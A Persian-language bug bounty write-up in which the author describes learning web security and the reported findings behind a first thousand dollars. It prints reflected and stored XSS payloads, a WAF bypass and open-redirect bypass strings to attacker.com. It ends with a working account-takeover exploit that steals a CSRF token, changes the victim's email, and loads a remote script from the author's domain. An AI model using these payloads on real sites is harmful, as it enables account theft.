نگاره‌هایی پیرامون امنیت، شبکه و رمزنگاری

12 نوامبر 2023

سلام, من جمالم و میخوام براتون مسیری که طی کردم تا به اولین هزار دلار توی باگ بانتی برسم بنویسم. توی این رایتاپ از اشتباهاتی که توی مسیر کردم و چالش هایی که داشتم مینویسم، و البته جزییات آسیب‌پذیری‌هایی که گزارش دادم رو به اشتراک میزارم.

ابتدای مسیر

شروع حرکت من توی این مسیر از دوره OWASP یاشار شروع شد و قبل از این کلاس، تقریبا هیچ پیش زمینه تکنیکالی نداشتم و فقط یه مقداری جاوااسکریپت کار کرده بودم. قبل از شروع دوره یه مقدار زمان داده شد تا از منابع مختلف پیش نیازها رو مطالعه کنیم و من اونطور که باید این رو جدی نگرفتم و این یکی از اشتباهاتی بود که باعث شد جلوتر توی مسیرم وقتم رو صرف یادگیری پیش نیازهایی که مطالعه نکرده بودم و جدی نگرفته بودم بکنم (این اشتباه رو اکثر بچه‌هایی که تازه وارد این مسیر میشن میکنن).

قبل از شروع دوره  توی یک گروه که از بچه‌های فعال دوره تشکیل شده بود عضو شدم که این گروه نقش بزرگی توی پیشرفت من داشت. توی این گروه هر هفته راجب آسیب‌پذیری های OWASP وموضوعات مرتبط با امنیت ارائه داشتیم. در ارتباط بودن با آدمایی که با من هم مسیر بودن و تلاش میکردن باعث میشد که انگیزه بگیرم و برای همین با شروع دوره قضیه برام جدی‌تر شده بود و با دل و جون درگیر تسک هایی شدم که بهمون داده میشد و تا جایی که میشد سعی میکردم حلشون کنم. همین درگیر شدن و زمانی که صرف حل کردن تسک ها می شد باعث شد که الان روی تارگت واقعی با صبر و حوصله بیشتری کار کنم و آسیب‌پذیری‌ها رو بهتر درک کنم.

البته این شور و اشتیاق زیاد دووم نیاورد و اواسط دوره اون انگیزه قبل رو نداشتم و الان که به عقب نگاه میکنم دلیلش رو هدف‌گذاری اشتباه میبینم. هدفم این بود که تا آخر دوره اولین آسیب‌پذیری دلاری رو بزنم و این در حالی بود که همونطور که گفتم هیچ پیش زمینه‌ای نداشتم و حتی هیچ منبعی برای طریقه کار کردن روی وب اپلیکشن، ریکان و … نخونده بودم. این اولین چالش من توی این مسیر بود، که بتونم این بی انگیزگی یا به اصطلاح burn out رو برطرف کنم. و راه برطرف کردنش این بود که بیشتر تلاش کنم و سعی کنم برگردم به کلاس و جو کلاس باعث شد که این چالش رو هم پشت سر بزارم.

شروع هانت

دوره اوسپ با همه فراز و نشیب ها تموم شد و تقریبا دو ماه بعدش دوره هانت شروع شد و توی این دو ماه من سعی میکردم از منابع مختلف ریکان رو یاد بگیرم. دوره هانت برام راحت تر بود بهتر میتونستم مباحث رو درک کنم و این دو دلیل داشت. یک اینکه اکثر مباحث عملی بودن و با کار و تمرین کردن باید یادشون میگرفتم، و دو اینکه توی دوره اوسپ یاد گرفته بودم چطوری یاد بگیرم (شبیه جمله های جواد خیابانی شده ولی نمیدونستم چجوری بگمش D:). وقتی درس ریکان داده شد با اینکه کلی وقت گذاشته بودم روی این مبحث و از ده ها منبع راجبش خونده بودم بازم نکته های جدید یاد گرفتم.

بعد از درس ریکان شروع کردم به طور جدی کار کردن روی تارگت‌های VDP و بالاخره تونستم اولین آسیب‌پذیریم که XSS بود رو روی دیزنی گزارش بدم. مسیر کشف اولین باگ VDP جالب بود. بعد از  اینکه دامین‌های مرتبط به کمپانی رو پیدا کردم، شروع کردم به پیدا کردن ساب‌دامین‌های هر کدوم، و یکی ازساب دامین ها چشممو گرفت:

mtransfer.dev.messaging.target.tld

وقتی توی مرورگر بازش کردم 404 گرفتم و با خودم فک کردم شاید یه مسیر از این ساب دامین 200 بده واسه همین شروع کردم به فاز کردن:

وقتی توی مرورگر این مسیر رو باز کردم با این صفحه مواجه شدم:

بعد از چنتا تست دستی متوجه شدم که مسیر URL توی صفحه رفلکت میشه:

پیلود پایین رو گذاشتم توی مسیر URL و:

"><script>alert(origin)</script>

بعد از اینکه این آسیب‌پذیری رو گزارش دادم بقیه ساب‌دامین‌ها رو با نوکلای اسکن کردم و روی ۴۰ تای دیگه از اونا دقیقا همین آسیب‌پذیری وجود داشت. تمپلیت نوکلای رو از لینک پایین میتونید بگیرید:

https://github.com/clem9669/nuclei-templates/blob/Steve/vulnerabilities/other/steve-xss.yaml

از این باگ یه درس گرفتم اونم این بود که اگر یکی از assetهای کمپانی آسیب‌پذیره احتمال زیاد توی چندین asset دیگه هم این آسیب‌پذیری پیدا میشه.

و اما Duplicate, N/A, Informative

بعد از این که اولین باگ تریاژ شد چندتای دیگه اش که روی ساب دامین‌های دیگه پیدا شده بود رو گزارش دادم ولی خب دوپلیکیت شدن. و بعد از این بود که با یه چالش دیگه رو به رو شدم. به مدت ۵ ماه ۲۰ تا آسیب‌پذیری گزارش دادم که از اونها فقط یه دونه VDP تریاژ شد که یه information disclosure بود که با فاز پیدا شد و اینجا بود که دوباره بی‌انگیزگی اومد سراغم و دست و دلم به کار نمی‌رفت و حس میکردم که هیچ چیز بلد نیستم و دانشم برای پیدا کردن باگ کافی نیست. ولی الان که به اون زمان نگاه میکنم به اشتباهم پی میبرم. اشتباهم این بود که روی یک تارگت تمرکز نمی‌کردم و بعد از چنتا گوگل دورک و یه سری ریکان سطحی ازشون رد میشدم.

چالش برای حل مشکل

 اواخر دوره هانت برای خودم یه چالش گذاشتم که به مدت 3 ماه روی یه تارگت تمرکز کنم و این هدفی که برای خودم تعیین کردم باعث شد که کم کم بی‌انگیزگی بره کنار و فقط کار کنم. توی هفته دوم چالشم اولین باگ دلاریم رو زدم که با اینکه مبلغش کم بود سوخت من واسه ادامه مسیر شد. مسیر پیدا کرد این باگ هم خیلی ساده بود. با فاز کردن مسیر addtocart.aspx رو پیدا کردم و با فاز پارامتر، پارامتر loc که بر اساس اون ریدایرکت میکرد.با تریاژ شدن این باگ یه بار سنگین از روی مغزم برداشته شد و حالا میتونستم بهتر تمرکز کنم. چند روز بعدش دوتا XSS گزارش دادم که دوپلیکیت شدن.

با اینکه این دوتا باگ دوپلیکیت شدن، اعتماد به نفس زیادی پیدا کرده بودم و اینکه میدیدم بقیه دارن باگ میزنن به این فکر میکردم که اگر اونا تونستن منم میتونم. چند روز بعد یه اوپن ریدایرکت دیگه هم گزارش دادم که تریاژ شد. این باگ هم با اینکه ساده بود خیلی جالب بود برای خودم. توی ریکانم رسیدم به مسیر redirectpage.aspx که با فاز پارامتر دوتا پارامتر source و target پیدا شد. هر تستی میکردم نمیتونستم فیلتری که وجود داشت رو بایپس کنم واسه همین از ابزار recollapse  استفاد کردم

recollapse https://sub.target.tld@attacker.com > recol.txt
recollapse https://attacker.com@sub.target.tld >> recol.txt

ffuf -u https://target.tld/redirectpage.aspx?source=FUZZ&target=FUZZ -mc 302 -w recol.txt

بعد از این که با ffuf مقدار پارامتر ها رو فاز کردم، دوتا پیلود پایین فیلتر رو بایپس میکردن و اوپن ریدایرکت اتفاق میوفتاد و نکتش این بود که هر دوتا پارامتر باید یه مقدار می‌داشت وگرنه ریدایرکت نمیکرد:

https://sub.target.tld%00@attacker.com
https://attacker.com?@sub.target.tld

بعد از این که این باگ رو گزارش دادم و تریاژ شد یه تمپلیت نوکلای نوشتم و بقیه asset های کمپانی رو با اون اسکن کردم و روی 3 تا asset دیگه دقیقا همین آسیب‌پذیری پیدا شد. و اونا رو گزارش دادم و اونا هم تریاژ شدن. این تمپلیت رو هم از لینک پایین میتونید بگیرید:

https://github.com/jamaledim/sharepoint-redirect/tree/main

با همین باگ های کوچیک که دست آورد مالی چندانی هم نداشت انگیزه زیادی گرفته بودم و هر روز بیشتر کار میکردم و یه دونه Stored XSS گزارش دادم و چند روز بعدش با کمک امیرعباس یه Post-base XSS هم پیدا کردم که این دوتا هم تریاژ شدن.

باگ اول توی مسیر asubproductos.aspx بود که وقتی بازش میکردم Simple Authentication داشت و وقتی کنسل میکردم ریدایرکتم میکرد به صفحه اصلی پس اومدم توی برپ سوییت Match and Replace گذاشتم که ریدایرکتم نکنه:

و وقتی دوباره اون مسیر رو باز کردم و روی کنسل کلیک کردم، دیگه رایدایرکت نشدم و توی یه صفحه ای بودم که میتونستم محصول اضافه کنم و توی توضیحات و اسم محصول پیلود XSS رو گذاشتم و بوم.

باگ دوم یه توی یه صفحه ای بود که به سوالات متداول جواب داده بود و میتونستی به اون جواب ها امتیاز بدی، و وقتی امتیاز میدادی این ریکوئست رو میزد و مقدار پارامتر CALLBACKPARAM__ توی ریسپانس رفلکت میشد و XSS.

تغییر مسیر

لازمه که اشاره کنم همه این باگها با یه متدولوژی پیدا شدن و اونم فاز کردن مسیر و پارامتر بود و خب تکرار یه کار از یه جایی به بعد نتیجه جدید نمیده. و اینجا بود که با یه چالش دیگه مواجه شدم و اونم این بود که این متدولوژی دیگه واسم نتیجه نداشت. واسه همین سعی کردم از فضای ترمینال بیام بیرون و وقت بیشتری روی کار با وب اپلیکیشن بگذرونم و توی عمق وب اپلیکشن دنبال باگ بگردم. و یک هفته بعد از دست و پنجه نرم کردن با وب‌اپلیکشن ها تونستم یه دونه XSS پیدا کنم و با ادغامش با CSRF موفق شدم اولین Account Take Over رو پیدا کنم:

طبق معمول بعد از ساختن اکانت شروع کردم به تست کردن Authentication ولی خب به نتیجه ای نرسیدم، ولی توی همین تست ها متوجه شدم که وقتی درخواست ریست پسورد میدی یه ایمیل میاد که اسمت رو توی ایمیل میزاره. اولین تستی که به ذهنم رسید HTML Injection بود. پس رفتم توی پروفایل و اسم رو تغییردادم به پیلود پایین:

<h1> jamaledim

و درخواست ریست پسورد دادم و توی ایمیل دیدم که تگ h1 تفسیر شده و HTML Injection اتفاق افتاده و چون موقع ثبت نام نیازی به وریفای ایمیل نبود میشد برای هرکسی از طرف کمپانی ایمیل بفرستی و محتوای ایمیل رو با این آسیب‌پذیری تغییر بدی.

 قبل از اینکه این باگ رو گزارش بدم یه بار دیگه به ایمیلی که از طرف کمپانی اومده بود نگاه کردم و یه چیز خیلی جالب به چشمم خورد.

View Email In Browser

وقتی روی این لینک کلیک کردم ایمیلی که توی inbox من بود روی یکی از ساب دامین های تارگت توی بروزر نشون داده شد. وقتی اینو دیدم بلافاصله رفتم که XSS رو تست کنم و اسم پروفایلم رو پیلود پایین تغییر دادم:

<img/src/onerror=alert(origin)>

و 403 از طرف کلادفلر. بعد از دست و پنجه نرم کردن با کلادفلر تونستم با پیلود پایین بایپسش کنم و بالاخره XSS.

<IMG sRc=OnXSS OnError=alert?.(origin)>

بعد از اینکه XSS رو گزارش دادم سعی کردم اکسپلویتش کنم. از قبل میدونستم که تغییر ایمیل به CSRF آسیب‌پذیره، به شرطی که به توکن دسترسی داشته باشیم  چون بدون این که پسورد اکانت رو بگیره ایمیل رو با یک درخواست عوض میکرد. و خب الان که XSS داشتم میتونستم این کار رو انجام بدم و اکسپلویت نهایی شد:

(async () => {
let myDOM = await fetch("https://www.target.tld/account-management/profile").then(res=> res.text()).then(response => new DOMParser().parseFromString(response, 'text/html'));
let MyCSRF = myDOM.getElementsByName('__RequestVerificationToken')[0].value;
let csrfLogout= myDOM.getElementsByName('__RequestVerificationToken')[2].value

await fetch("https://www.target.tld/api/customer/update", {
    "method": "POST",
    "headers": {
        "Content-type": "application/json; charset=utf8",
        "__requestverificationtoken": MyCSRF
    },
    "body": '{"emailAddress":"ATTACKER-EMAIL","emailAddressConfirmation":"ATTACKER-EMAIL"}'
});

await fetch('https://www.target.tld/Account/LogOff'), {
	"method": "POST",
	"headers": {
		"Content-Type": "application/x-www-form-urlencoded"
	},
	"body": `__RequestVerificationToken=${csrfLogout}`
}

})()

چون نمیتونستم از تگ اسکریپت استفاده کنم اسم پروفایل رو به پیلود پایین تغییر دادم:

<IMG sRc=OnXSS OnError=eval(document.hash.split(‘#’)[1])

و URL نهایی:

https://www.target.tld/crm/email/SOME-RANDOM-TEXT#s=document.createElement('script');s.src='https://my-domain.com/ato.js';document.head.appendChild(s)

وقتی قربانی روی این لینک کلیک میکرد، ایمیلش به ایمیل من تغییر پیدا میکرد و من میتونستم با ریست پسورد اکانت قربانی رو تصاحب کنم.

این اولین تجربه وبلاگ‌نویسی من بود و امیدوارم که اگه ایرادی داره ببخشید. خوشحال میشم نظرتون رو بشنوم و امیدوارم که این پست مفید بوده باشه. از طریق توییتر میتونید با من در ارتباط باشید:

https://twitter.com/jamaledim

1 پست نوشته شده
  • به اشتراک بگذارید:
برچسب‌ها: ، ،
  1. عمو بهروز گفت:

    عالی بود خیلی خوب توضیح دادی دمت گرم

  2. بهروز گفت:

    بسیار عالی بود

  3. amir گفت:

    عالی بود
    منم میرم واسه چالش ۳ هفته

  4. مصطفی گفت:

    سلام جمال. رایتاپ فوق العاده ای بود. ساده، سرراست و صادقانه. این روزا رایتاپ خوب و رو راست کم پیدا میشه و کم هستن کسایی که درست توضیح بدن. کسی که درست توضیح میده یعنی مفهوم رو خوب درک کرده. بهت تبریک میگم امیدوارم موفق باشی بازم رایتاپ بنویس.

  5. م گفت:

    عالی بود. خیلی از بخشای رایتاپ تداعی کننده رفتارها و عکس العمل های خودم در مواجه با تارگت هاست.

  6. M A گفت:

    عالی بود جمال دمت گرم

  7. آریا گفت:

    بسار عالی بود جمال امیدوارم همیشه همینقد موفق باشی